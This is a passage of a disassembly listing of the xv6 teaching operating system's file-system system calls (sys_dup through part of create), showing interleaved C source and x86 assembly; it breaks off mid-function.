80105700: 8b 45 f0 mov -0x10(%ebp),%eax
80105703: 89 04 24 mov %eax,(%esp)
80105706: e8 7e ff ff ff call 80105689 <fdalloc>
8010570b: 89 45 f4 mov %eax,-0xc(%ebp)
8010570e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105712: 79 07 jns 8010571b <sys_dup+0x47>
return -1;
80105714: b8 ff ff ff ff mov $0xffffffff,%eax
80105719: eb 0e jmp 80105729 <sys_dup+0x55>
filedup(f);
8010571b: 8b 45 f0 mov -0x10(%ebp),%eax
8010571e: 89 04 24 mov %eax,(%esp)
80105721: e8 96 b8 ff ff call 80100fbc <filedup>
return fd;
80105726: 8b 45 f4 mov -0xc(%ebp),%eax
}
80105729: c9 leave
8010572a: c3 ret
8010572b <sys_read>:
int
sys_read(void)
{
8010572b: 55 push %ebp
8010572c: 89 e5 mov %esp,%ebp
8010572e: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80105731: 8d 45 f4 lea -0xc(%ebp),%eax
80105734: 89 44 24 08 mov %eax,0x8(%esp)
80105738: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010573f: 00
80105740: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105747: e8 c8 fe ff ff call 80105614 <argfd>
8010574c: 85 c0 test %eax,%eax
8010574e: 78 35 js 80105785 <sys_read+0x5a>
80105750: 8d 45 f0 lea -0x10(%ebp),%eax
80105753: 89 44 24 04 mov %eax,0x4(%esp)
80105757: c7 04 24 02 00 00 00 movl $0x2,(%esp)
8010575e: e8 53 fd ff ff call 801054b6 <argint>
80105763: 85 c0 test %eax,%eax
80105765: 78 1e js 80105785 <sys_read+0x5a>
80105767: 8b 45 f0 mov -0x10(%ebp),%eax
8010576a: 89 44 24 08 mov %eax,0x8(%esp)
8010576e: 8d 45 ec lea -0x14(%ebp),%eax
80105771: 89 44 24 04 mov %eax,0x4(%esp)
80105775: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010577c: e8 63 fd ff ff call 801054e4 <argptr>
80105781: 85 c0 test %eax,%eax
80105783: 79 07 jns 8010578c <sys_read+0x61>
return -1;
80105785: b8 ff ff ff ff mov $0xffffffff,%eax
8010578a: eb 19 jmp 801057a5 <sys_read+0x7a>
return fileread(f, p, n);
8010578c: 8b 4d f0 mov -0x10(%ebp),%ecx
8010578f: 8b 55 ec mov -0x14(%ebp),%edx
80105792: 8b 45 f4 mov -0xc(%ebp),%eax
80105795: 89 4c 24 08 mov %ecx,0x8(%esp)
80105799: 89 54 24 04 mov %edx,0x4(%esp)
8010579d: 89 04 24 mov %eax,(%esp)
801057a0: e8 78 b9 ff ff call 8010111d <fileread>
}
801057a5: c9 leave
801057a6: c3 ret
801057a7 <sys_write>:
int
sys_write(void)
{
801057a7: 55 push %ebp
801057a8: 89 e5 mov %esp,%ebp
801057aa: 83 ec 28 sub $0x28,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
801057ad: 8d 45 f4 lea -0xc(%ebp),%eax
801057b0: 89 44 24 08 mov %eax,0x8(%esp)
801057b4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801057bb: 00
801057bc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801057c3: e8 4c fe ff ff call 80105614 <argfd>
801057c8: 85 c0 test %eax,%eax
801057ca: 78 35 js 80105801 <sys_write+0x5a>
801057cc: 8d 45 f0 lea -0x10(%ebp),%eax
801057cf: 89 44 24 04 mov %eax,0x4(%esp)
801057d3: c7 04 24 02 00 00 00 movl $0x2,(%esp)
801057da: e8 d7 fc ff ff call 801054b6 <argint>
801057df: 85 c0 test %eax,%eax
801057e1: 78 1e js 80105801 <sys_write+0x5a>
801057e3: 8b 45 f0 mov -0x10(%ebp),%eax
801057e6: 89 44 24 08 mov %eax,0x8(%esp)
801057ea: 8d 45 ec lea -0x14(%ebp),%eax
801057ed: 89 44 24 04 mov %eax,0x4(%esp)
801057f1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801057f8: e8 e7 fc ff ff call 801054e4 <argptr>
801057fd: 85 c0 test %eax,%eax
801057ff: 79 07 jns 80105808 <sys_write+0x61>
return -1;
80105801: b8 ff ff ff ff mov $0xffffffff,%eax
80105806: eb 19 jmp 80105821 <sys_write+0x7a>
return filewrite(f, p, n);
80105808: 8b 4d f0 mov -0x10(%ebp),%ecx
8010580b: 8b 55 ec mov -0x14(%ebp),%edx
8010580e: 8b 45 f4 mov -0xc(%ebp),%eax
80105811: 89 4c 24 08 mov %ecx,0x8(%esp)
80105815: 89 54 24 04 mov %edx,0x4(%esp)
80105819: 89 04 24 mov %eax,(%esp)
8010581c: e8 b7 b9 ff ff call 801011d8 <filewrite>
}
80105821: c9 leave
80105822: c3 ret
80105823 <sys_close>:
int
sys_close(void)
{
80105823: 55 push %ebp
80105824: 89 e5 mov %esp,%ebp
80105826: 83 ec 28 sub $0x28,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80105829: 8d 45 f0 lea -0x10(%ebp),%eax
8010582c: 89 44 24 08 mov %eax,0x8(%esp)
80105830: 8d 45 f4 lea -0xc(%ebp),%eax
80105833: 89 44 24 04 mov %eax,0x4(%esp)
80105837: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010583e: e8 d1 fd ff ff call 80105614 <argfd>
80105843: 85 c0 test %eax,%eax
80105845: 79 07 jns 8010584e <sys_close+0x2b>
return -1;
80105847: b8 ff ff ff ff mov $0xffffffff,%eax
8010584c: eb 24 jmp 80105872 <sys_close+0x4f>
proc->ofile[fd] = 0;
8010584e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105854: 8b 55 f4 mov -0xc(%ebp),%edx
80105857: 83 c2 08 add $0x8,%edx
8010585a: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80105861: 00
fileclose(f);
80105862: 8b 45 f0 mov -0x10(%ebp),%eax
80105865: 89 04 24 mov %eax,(%esp)
80105868: e8 97 b7 ff ff call 80101004 <fileclose>
return 0;
8010586d: b8 00 00 00 00 mov $0x0,%eax
}
80105872: c9 leave
80105873: c3 ret
80105874 <sys_fstat>:
int
sys_fstat(void)
{
80105874: 55 push %ebp
80105875: 89 e5 mov %esp,%ebp
80105877: 83 ec 28 sub $0x28,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
8010587a: 8d 45 f4 lea -0xc(%ebp),%eax
8010587d: 89 44 24 08 mov %eax,0x8(%esp)
80105881: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105888: 00
80105889: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105890: e8 7f fd ff ff call 80105614 <argfd>
80105895: 85 c0 test %eax,%eax
80105897: 78 1f js 801058b8 <sys_fstat+0x44>
80105899: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
801058a0: 00
801058a1: 8d 45 f0 lea -0x10(%ebp),%eax
801058a4: 89 44 24 04 mov %eax,0x4(%esp)
801058a8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801058af: e8 30 fc ff ff call 801054e4 <argptr>
801058b4: 85 c0 test %eax,%eax
801058b6: 79 07 jns 801058bf <sys_fstat+0x4b>
return -1;
801058b8: b8 ff ff ff ff mov $0xffffffff,%eax
801058bd: eb 12 jmp 801058d1 <sys_fstat+0x5d>
return filestat(f, st);
801058bf: 8b 55 f0 mov -0x10(%ebp),%edx
801058c2: 8b 45 f4 mov -0xc(%ebp),%eax
801058c5: 89 54 24 04 mov %edx,0x4(%esp)
801058c9: 89 04 24 mov %eax,(%esp)
801058cc: e8 fd b7 ff ff call 801010ce <filestat>
}
801058d1: c9 leave
801058d2: c3 ret
801058d3 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
801058d3: 55 push %ebp
801058d4: 89 e5 mov %esp,%ebp
801058d6: 83 ec 38 sub $0x38,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
801058d9: 8d 45 d8 lea -0x28(%ebp),%eax
801058dc: 89 44 24 04 mov %eax,0x4(%esp)
801058e0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801058e7: e8 60 fc ff ff call 8010554c <argstr>
801058ec: 85 c0 test %eax,%eax
801058ee: 78 17 js 80105907 <sys_link+0x34>
801058f0: 8d 45 dc lea -0x24(%ebp),%eax
801058f3: 89 44 24 04 mov %eax,0x4(%esp)
801058f7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801058fe: e8 49 fc ff ff call 8010554c <argstr>
80105903: 85 c0 test %eax,%eax
80105905: 79 0a jns 80105911 <sys_link+0x3e>
return -1;
80105907: b8 ff ff ff ff mov $0xffffffff,%eax
8010590c: e9 3d 01 00 00 jmp 80105a4e <sys_link+0x17b>
begin_op();
80105911: e8 ad db ff ff call 801034c3 <begin_op>
if((ip = namei(old)) == 0){
80105916: 8b 45 d8 mov -0x28(%ebp),%eax
80105919: 89 04 24 mov %eax,(%esp)
8010591c: e8 10 cb ff ff call 80102431 <namei>
80105921: 89 45 f4 mov %eax,-0xc(%ebp)
80105924: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105928: 75 0f jne 80105939 <sys_link+0x66>
end_op();
8010592a: e8 16 dc ff ff call 80103545 <end_op>
return -1;
8010592f: b8 ff ff ff ff mov $0xffffffff,%eax
80105934: e9 15 01 00 00 jmp 80105a4e <sys_link+0x17b>
}
ilock(ip);
80105939: 8b 45 f4 mov -0xc(%ebp),%eax
8010593c: 89 04 24 mov %eax,(%esp)
8010593f: e8 da bf ff ff call 8010191e <ilock>
if(ip->type == T_DIR){
80105944: 8b 45 f4 mov -0xc(%ebp),%eax
80105947: 8b 40 50 mov 0x50(%eax),%eax
8010594a: 66 83 f8 01 cmp $0x1,%ax
8010594e: 75 1a jne 8010596a <sys_link+0x97>
iunlockput(ip);
80105950: 8b 45 f4 mov -0xc(%ebp),%eax
80105953: 89 04 24 mov %eax,(%esp)
80105956: e8 af c1 ff ff call 80101b0a <iunlockput>
end_op();
8010595b: e8 e5 db ff ff call 80103545 <end_op>
return -1;
80105960: b8 ff ff ff ff mov $0xffffffff,%eax
80105965: e9 e4 00 00 00 jmp 80105a4e <sys_link+0x17b>
}
ip->nlink++;
8010596a: 8b 45 f4 mov -0xc(%ebp),%eax
8010596d: 66 8b 40 56 mov 0x56(%eax),%ax
80105971: 40 inc %eax
80105972: 8b 55 f4 mov -0xc(%ebp),%edx
80105975: 66 89 42 56 mov %ax,0x56(%edx)
iupdate(ip);
80105979: 8b 45 f4 mov -0xc(%ebp),%eax
8010597c: 89 04 24 mov %eax,(%esp)
8010597f: e8 d7 bd ff ff call 8010175b <iupdate>
iunlock(ip);
80105984: 8b 45 f4 mov -0xc(%ebp),%eax
80105987: 89 04 24 mov %eax,(%esp)
8010598a: e8 a3 c0 ff ff call 80101a32 <iunlock>
if((dp = nameiparent(new, name)) == 0)
8010598f: 8b 45 dc mov -0x24(%ebp),%eax
80105992: 8d 55 e2 lea -0x1e(%ebp),%edx
80105995: 89 54 24 04 mov %edx,0x4(%esp)
80105999: 89 04 24 mov %eax,(%esp)
8010599c: e8 b2 ca ff ff call 80102453 <nameiparent>
801059a1: 89 45 f0 mov %eax,-0x10(%ebp)
801059a4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801059a8: 75 02 jne 801059ac <sys_link+0xd9>
goto bad;
801059aa: eb 68 jmp 80105a14 <sys_link+0x141>
ilock(dp);
801059ac: 8b 45 f0 mov -0x10(%ebp),%eax
801059af: 89 04 24 mov %eax,(%esp)
801059b2: e8 67 bf ff ff call 8010191e <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
801059b7: 8b 45 f0 mov -0x10(%ebp),%eax
801059ba: 8b 10 mov (%eax),%edx
801059bc: 8b 45 f4 mov -0xc(%ebp),%eax
801059bf: 8b 00 mov (%eax),%eax
801059c1: 39 c2 cmp %eax,%edx
801059c3: 75 20 jne 801059e5 <sys_link+0x112>
801059c5: 8b 45 f4 mov -0xc(%ebp),%eax
801059c8: 8b 40 04 mov 0x4(%eax),%eax
801059cb: 89 44 24 08 mov %eax,0x8(%esp)
801059cf: 8d 45 e2 lea -0x1e(%ebp),%eax
801059d2: 89 44 24 04 mov %eax,0x4(%esp)
801059d6: 8b 45 f0 mov -0x10(%ebp),%eax
801059d9: 89 04 24 mov %eax,(%esp)
801059dc: e8 9c c7 ff ff call 8010217d <dirlink>
801059e1: 85 c0 test %eax,%eax
801059e3: 79 0d jns 801059f2 <sys_link+0x11f>
iunlockput(dp);
801059e5: 8b 45 f0 mov -0x10(%ebp),%eax
801059e8: 89 04 24 mov %eax,(%esp)
801059eb: e8 1a c1 ff ff call 80101b0a <iunlockput>
goto bad;
801059f0: eb 22 jmp 80105a14 <sys_link+0x141>
}
iunlockput(dp);
801059f2: 8b 45 f0 mov -0x10(%ebp),%eax
801059f5: 89 04 24 mov %eax,(%esp)
801059f8: e8 0d c1 ff ff call 80101b0a <iunlockput>
iput(ip);
801059fd: 8b 45 f4 mov -0xc(%ebp),%eax
80105a00: 89 04 24 mov %eax,(%esp)
80105a03: e8 6e c0 ff ff call 80101a76 <iput>
end_op();
80105a08: e8 38 db ff ff call 80103545 <end_op>
return 0;
80105a0d: b8 00 00 00 00 mov $0x0,%eax
80105a12: eb 3a jmp 80105a4e <sys_link+0x17b>
bad:
ilock(ip);
80105a14: 8b 45 f4 mov -0xc(%ebp),%eax
80105a17: 89 04 24 mov %eax,(%esp)
80105a1a: e8 ff be ff ff call 8010191e <ilock>
ip->nlink--;
80105a1f: 8b 45 f4 mov -0xc(%ebp),%eax
80105a22: 66 8b 40 56 mov 0x56(%eax),%ax
80105a26: 48 dec %eax
80105a27: 8b 55 f4 mov -0xc(%ebp),%edx
80105a2a: 66 89 42 56 mov %ax,0x56(%edx)
iupdate(ip);
80105a2e: 8b 45 f4 mov -0xc(%ebp),%eax
80105a31: 89 04 24 mov %eax,(%esp)
80105a34: e8 22 bd ff ff call 8010175b <iupdate>
iunlockput(ip);
80105a39: 8b 45 f4 mov -0xc(%ebp),%eax
80105a3c: 89 04 24 mov %eax,(%esp)
80105a3f: e8 c6 c0 ff ff call 80101b0a <iunlockput>
end_op();
80105a44: e8 fc da ff ff call 80103545 <end_op>
return -1;
80105a49: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105a4e: c9 leave
80105a4f: c3 ret
80105a50 <isdirempty>:
// Is the directory dp empty except for "." and ".." ?
static int
isdirempty(struct inode *dp)
{
80105a50: 55 push %ebp
80105a51: 89 e5 mov %esp,%ebp
80105a53: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105a56: c7 45 f4 20 00 00 00 movl $0x20,-0xc(%ebp)
80105a5d: eb 4a jmp 80105aa9 <isdirempty+0x59>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105a5f: 8b 45 f4 mov -0xc(%ebp),%eax
80105a62: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105a69: 00
80105a6a: 89 44 24 08 mov %eax,0x8(%esp)
80105a6e: 8d 45 e4 lea -0x1c(%ebp),%eax
80105a71: 89 44 24 04 mov %eax,0x4(%esp)
80105a75: 8b 45 08 mov 0x8(%ebp),%eax
80105a78: 89 04 24 mov %eax,(%esp)
80105a7b: e8 22 c3 ff ff call 80101da2 <readi>
80105a80: 83 f8 10 cmp $0x10,%eax
80105a83: 74 0c je 80105a91 <isdirempty+0x41>
panic("isdirempty: readi");
80105a85: c7 04 24 9e 89 10 80 movl $0x8010899e,(%esp)
80105a8c: e8 c3 aa ff ff call 80100554 <panic>
if(de.inum != 0)
80105a91: 8b 45 e4 mov -0x1c(%ebp),%eax
80105a94: 66 85 c0 test %ax,%ax
80105a97: 74 07 je 80105aa0 <isdirempty+0x50>
return 0;
80105a99: b8 00 00 00 00 mov $0x0,%eax
80105a9e: eb 1b jmp 80105abb <isdirempty+0x6b>
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105aa0: 8b 45 f4 mov -0xc(%ebp),%eax
80105aa3: 83 c0 10 add $0x10,%eax
80105aa6: 89 45 f4 mov %eax,-0xc(%ebp)
80105aa9: 8b 55 f4 mov -0xc(%ebp),%edx
80105aac: 8b 45 08 mov 0x8(%ebp),%eax
80105aaf: 8b 40 58 mov 0x58(%eax),%eax
80105ab2: 39 c2 cmp %eax,%edx
80105ab4: 72 a9 jb 80105a5f <isdirempty+0xf>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
if(de.inum != 0)
return 0;
}
return 1;
80105ab6: b8 01 00 00 00 mov $0x1,%eax
}
80105abb: c9 leave
80105abc: c3 ret
80105abd <sys_unlink>:
//PAGEBREAK!
int
sys_unlink(void)
{
80105abd: 55 push %ebp
80105abe: 89 e5 mov %esp,%ebp
80105ac0: 83 ec 48 sub $0x48,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80105ac3: 8d 45 cc lea -0x34(%ebp),%eax
80105ac6: 89 44 24 04 mov %eax,0x4(%esp)
80105aca: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105ad1: e8 76 fa ff ff call 8010554c <argstr>
80105ad6: 85 c0 test %eax,%eax
80105ad8: 79 0a jns 80105ae4 <sys_unlink+0x27>
return -1;
80105ada: b8 ff ff ff ff mov $0xffffffff,%eax
80105adf: e9 a9 01 00 00 jmp 80105c8d <sys_unlink+0x1d0>
begin_op();
80105ae4: e8 da d9 ff ff call 801034c3 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80105ae9: 8b 45 cc mov -0x34(%ebp),%eax
80105aec: 8d 55 d2 lea -0x2e(%ebp),%edx
80105aef: 89 54 24 04 mov %edx,0x4(%esp)
80105af3: 89 04 24 mov %eax,(%esp)
80105af6: e8 58 c9 ff ff call 80102453 <nameiparent>
80105afb: 89 45 f4 mov %eax,-0xc(%ebp)
80105afe: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105b02: 75 0f jne 80105b13 <sys_unlink+0x56>
end_op();
80105b04: e8 3c da ff ff call 80103545 <end_op>
return -1;
80105b09: b8 ff ff ff ff mov $0xffffffff,%eax
80105b0e: e9 7a 01 00 00 jmp 80105c8d <sys_unlink+0x1d0>
}
ilock(dp);
80105b13: 8b 45 f4 mov -0xc(%ebp),%eax
80105b16: 89 04 24 mov %eax,(%esp)
80105b19: e8 00 be ff ff call 8010191e <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80105b1e: c7 44 24 04 b0 89 10 movl $0x801089b0,0x4(%esp)
80105b25: 80
80105b26: 8d 45 d2 lea -0x2e(%ebp),%eax
80105b29: 89 04 24 mov %eax,(%esp)
80105b2c: e8 64 c5 ff ff call 80102095 <namecmp>
80105b31: 85 c0 test %eax,%eax
80105b33: 0f 84 3f 01 00 00 je 80105c78 <sys_unlink+0x1bb>
80105b39: c7 44 24 04 b2 89 10 movl $0x801089b2,0x4(%esp)
80105b40: 80
80105b41: 8d 45 d2 lea -0x2e(%ebp),%eax
80105b44: 89 04 24 mov %eax,(%esp)
80105b47: e8 49 c5 ff ff call 80102095 <namecmp>
80105b4c: 85 c0 test %eax,%eax
80105b4e: 0f 84 24 01 00 00 je 80105c78 <sys_unlink+0x1bb>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80105b54: 8d 45 c8 lea -0x38(%ebp),%eax
80105b57: 89 44 24 08 mov %eax,0x8(%esp)
80105b5b: 8d 45 d2 lea -0x2e(%ebp),%eax
80105b5e: 89 44 24 04 mov %eax,0x4(%esp)
80105b62: 8b 45 f4 mov -0xc(%ebp),%eax
80105b65: 89 04 24 mov %eax,(%esp)
80105b68: e8 4a c5 ff ff call 801020b7 <dirlookup>
80105b6d: 89 45 f0 mov %eax,-0x10(%ebp)
80105b70: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105b74: 75 05 jne 80105b7b <sys_unlink+0xbe>
goto bad;
80105b76: e9 fd 00 00 00 jmp 80105c78 <sys_unlink+0x1bb>
ilock(ip);
80105b7b: 8b 45 f0 mov -0x10(%ebp),%eax
80105b7e: 89 04 24 mov %eax,(%esp)
80105b81: e8 98 bd ff ff call 8010191e <ilock>
if(ip->nlink < 1)
80105b86: 8b 45 f0 mov -0x10(%ebp),%eax
80105b89: 66 8b 40 56 mov 0x56(%eax),%ax
80105b8d: 66 85 c0 test %ax,%ax
80105b90: 7f 0c jg 80105b9e <sys_unlink+0xe1>
panic("unlink: nlink < 1");
80105b92: c7 04 24 b5 89 10 80 movl $0x801089b5,(%esp)
80105b99: e8 b6 a9 ff ff call 80100554 <panic>
if(ip->type == T_DIR && !isdirempty(ip)){
80105b9e: 8b 45 f0 mov -0x10(%ebp),%eax
80105ba1: 8b 40 50 mov 0x50(%eax),%eax
80105ba4: 66 83 f8 01 cmp $0x1,%ax
80105ba8: 75 1f jne 80105bc9 <sys_unlink+0x10c>
80105baa: 8b 45 f0 mov -0x10(%ebp),%eax
80105bad: 89 04 24 mov %eax,(%esp)
80105bb0: e8 9b fe ff ff call 80105a50 <isdirempty>
80105bb5: 85 c0 test %eax,%eax
80105bb7: 75 10 jne 80105bc9 <sys_unlink+0x10c>
iunlockput(ip);
80105bb9: 8b 45 f0 mov -0x10(%ebp),%eax
80105bbc: 89 04 24 mov %eax,(%esp)
80105bbf: e8 46 bf ff ff call 80101b0a <iunlockput>
goto bad;
80105bc4: e9 af 00 00 00 jmp 80105c78 <sys_unlink+0x1bb>
}
memset(&de, 0, sizeof(de));
80105bc9: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80105bd0: 00
80105bd1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105bd8: 00
80105bd9: 8d 45 e0 lea -0x20(%ebp),%eax
80105bdc: 89 04 24 mov %eax,(%esp)
80105bdf: e8 a6 f5 ff ff call 8010518a <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105be4: 8b 45 c8 mov -0x38(%ebp),%eax
80105be7: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105bee: 00
80105bef: 89 44 24 08 mov %eax,0x8(%esp)
80105bf3: 8d 45 e0 lea -0x20(%ebp),%eax
80105bf6: 89 44 24 04 mov %eax,0x4(%esp)
80105bfa: 8b 45 f4 mov -0xc(%ebp),%eax
80105bfd: 89 04 24 mov %eax,(%esp)
80105c00: e8 01 c3 ff ff call 80101f06 <writei>
80105c05: 83 f8 10 cmp $0x10,%eax
80105c08: 74 0c je 80105c16 <sys_unlink+0x159>
panic("unlink: writei");
80105c0a: c7 04 24 c7 89 10 80 movl $0x801089c7,(%esp)
80105c11: e8 3e a9 ff ff call 80100554 <panic>
if(ip->type == T_DIR){
80105c16: 8b 45 f0 mov -0x10(%ebp),%eax
80105c19: 8b 40 50 mov 0x50(%eax),%eax
80105c1c: 66 83 f8 01 cmp $0x1,%ax
80105c20: 75 1a jne 80105c3c <sys_unlink+0x17f>
dp->nlink--;
80105c22: 8b 45 f4 mov -0xc(%ebp),%eax
80105c25: 66 8b 40 56 mov 0x56(%eax),%ax
80105c29: 48 dec %eax
80105c2a: 8b 55 f4 mov -0xc(%ebp),%edx
80105c2d: 66 89 42 56 mov %ax,0x56(%edx)
iupdate(dp);
80105c31: 8b 45 f4 mov -0xc(%ebp),%eax
80105c34: 89 04 24 mov %eax,(%esp)
80105c37: e8 1f bb ff ff call 8010175b <iupdate>
}
iunlockput(dp);
80105c3c: 8b 45 f4 mov -0xc(%ebp),%eax
80105c3f: 89 04 24 mov %eax,(%esp)
80105c42: e8 c3 be ff ff call 80101b0a <iunlockput>
ip->nlink--;
80105c47: 8b 45 f0 mov -0x10(%ebp),%eax
80105c4a: 66 8b 40 56 mov 0x56(%eax),%ax
80105c4e: 48 dec %eax
80105c4f: 8b 55 f0 mov -0x10(%ebp),%edx
80105c52: 66 89 42 56 mov %ax,0x56(%edx)
iupdate(ip);
80105c56: 8b 45 f0 mov -0x10(%ebp),%eax
80105c59: 89 04 24 mov %eax,(%esp)
80105c5c: e8 fa ba ff ff call 8010175b <iupdate>
iunlockput(ip);
80105c61: 8b 45 f0 mov -0x10(%ebp),%eax
80105c64: 89 04 24 mov %eax,(%esp)
80105c67: e8 9e be ff ff call 80101b0a <iunlockput>
end_op();
80105c6c: e8 d4 d8 ff ff call 80103545 <end_op>
return 0;
80105c71: b8 00 00 00 00 mov $0x0,%eax
80105c76: eb 15 jmp 80105c8d <sys_unlink+0x1d0>
bad:
iunlockput(dp);
80105c78: 8b 45 f4 mov -0xc(%ebp),%eax
80105c7b: 89 04 24 mov %eax,(%esp)
80105c7e: e8 87 be ff ff call 80101b0a <iunlockput>
end_op();
80105c83: e8 bd d8 ff ff call 80103545 <end_op>
return -1;
80105c88: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105c8d: c9 leave
80105c8e: c3 ret
80105c8f <create>:
static struct inode*
create(char *path, short type, short major, short minor)
{
80105c8f: 55 push %ebp
80105c90: 89 e5 mov %esp,%ebp
80105c92: 83 ec 48 sub $0x48,%esp
80105c95: 8b 4d 0c mov 0xc(%ebp),%ecx
80105c98: 8b 55 10 mov 0x10(%ebp),%edx
80105c9b: 8b 45 14 mov 0x14(%ebp),%eax
80105c9e: 66 89 4d d4 mov %cx,-0x2c(%ebp)
80105ca2: 66 89 55 d0 mov %dx,-0x30(%ebp)
80105ca6: 66 89 45 cc mov %ax,-0x34(%ebp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80105caa: 8d 45 de lea -0x22(%ebp),%eax
80105cad: 89 44 24 04 mov %eax,0x4(%esp)
80105cb1: 8b 45 08 mov 0x8(%ebp),%eax
80105cb4: 89 04 24 mov %eax,(%esp)
80105cb7: e8 97 c7 ff ff call 80102453 <nameiparent>
80105cbc: 89 45 f4 mov %eax,-0xc(%ebp)
80105cbf: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105cc3: 75 0a jne 80105ccf <create+0x40>
return 0;
80105cc5: b8 00 00 00 00 mov $0x0,%eax
80105cca: e9 79 01 00 00 jmp 80105e48 <create+0x1b9>
ilock(dp);
80105ccf: 8b 45 f4 mov -0xc(%ebp),%eax
80105cd2: 89 04 24 mov %eax,(%esp)
80105cd5: e8 44 bc ff ff call 8010191e <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
80105cda: 8d 45 ec lea -0x14(%ebp),%eax
80105cdd: 89 44 24 08 mov %eax,0x8(%esp)
80105ce1: 8d 45 de lea -0x22(%ebp),%eax
80105ce4: 89 44 24 04 mov %eax,0x4(%esp)
80105ce8: 8b 45 f4 mov -0xc(%ebp),%eax
80105ceb: 89 04 24 mov %eax,(%esp)
80105cee: e8 c4 c3 ff ff call 801020b7 <dirlookup>
80105cf3: 89 45 f0 mov %eax,-0x10(%ebp)
80105cf6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105cfa: 74 46 je 80105d42 <create+0xb3>
iunlockput(dp);
80105cfc: 8b 45 f4 mov -0xc(%ebp),%eax
80105cff: 89 04 24 mov %eax,(%esp)
80105d02: e8 03 be ff ff call 80101b0a <iunlockput>
ilock(ip);
80105d07: 8b 45 f0 mov -0x10(%ebp),%eax
80105d0a: 89 04 24 mov %eax,(%esp)
80105d0d: e8 0c bc ff ff call 8010191e <ilock>
if(type == T_FILE && ip->type == T_FILE)
80105d12: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
80105d17: 75 14 jne 80105d2d <create+0x9e>
80105d19: 8b 45 f0 mov -0x10(%ebp),%eax
80105d1c: 8b 40 50 mov 0x50(%eax),%eax
80105d1f: 66 83 f8 02 cmp $0x2,%ax
80105d23: 75 08 jne 80105d2d <create+0x9e>
return ip;
80105d25: 8b 45 f0 mov -0x10(%ebp),%eax
80105d28: e9 1b 01 00 00 jmp 80105e48 <create+0x1b9>
iunlockput(ip);
80105d2d: 8b 45 f0 mov -0x10(%ebp),%eax
80105d30: 89 04 24 mov %eax,(%esp)
80105d33: e8 d2 bd ff ff call 80101b0a <iunlockput>
return 0;
80105d38: b8 00 00 00 00 mov $0x0,%eax
80105d3d: e9 06 01 00 00 jmp 80105e48 <create+0x1b9>
}
if((ip = ialloc(dp->dev, type)) == 0)
80105d42: 0f bf 55 d4 movswl -0x2c(%ebp),%edx
80105d46: 8b 45 f4 mov -0xc(%ebp),%eax
80105d49: 8b 00 mov (%eax),%eax
80105d4b: 89 54 24 04 mov %edx,0x4(%esp)
80105d4f: 89 04 24 mov %eax,(%esp)
80105d52: e8 32 b9 ff ff call 80101689 <ialloc>
80105d57: 89 45 f0 mov %eax,-0x10(%ebp)
80105d5a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105d5e: 75 0c jne 80105d6c <create+0xdd>
panic("create: ialloc");
80105d60: c7 04 24 d6 89 10 80 movl $0x801089d6,(%esp)
80105d67: e8 e8 a7 ff ff call 80100554 <panic>
ilock(ip);
80105d6c: 8b 45 f0 mov -0x10(%ebp),%eax
80105d6f: 89 04 24 mov %eax,(%esp)
80105d72: e8 a7 bb ff ff call 8010191e <ilock>
ip->major = major;
80105d77: 8b 55 f0 mov -0x10(%ebp),%edx
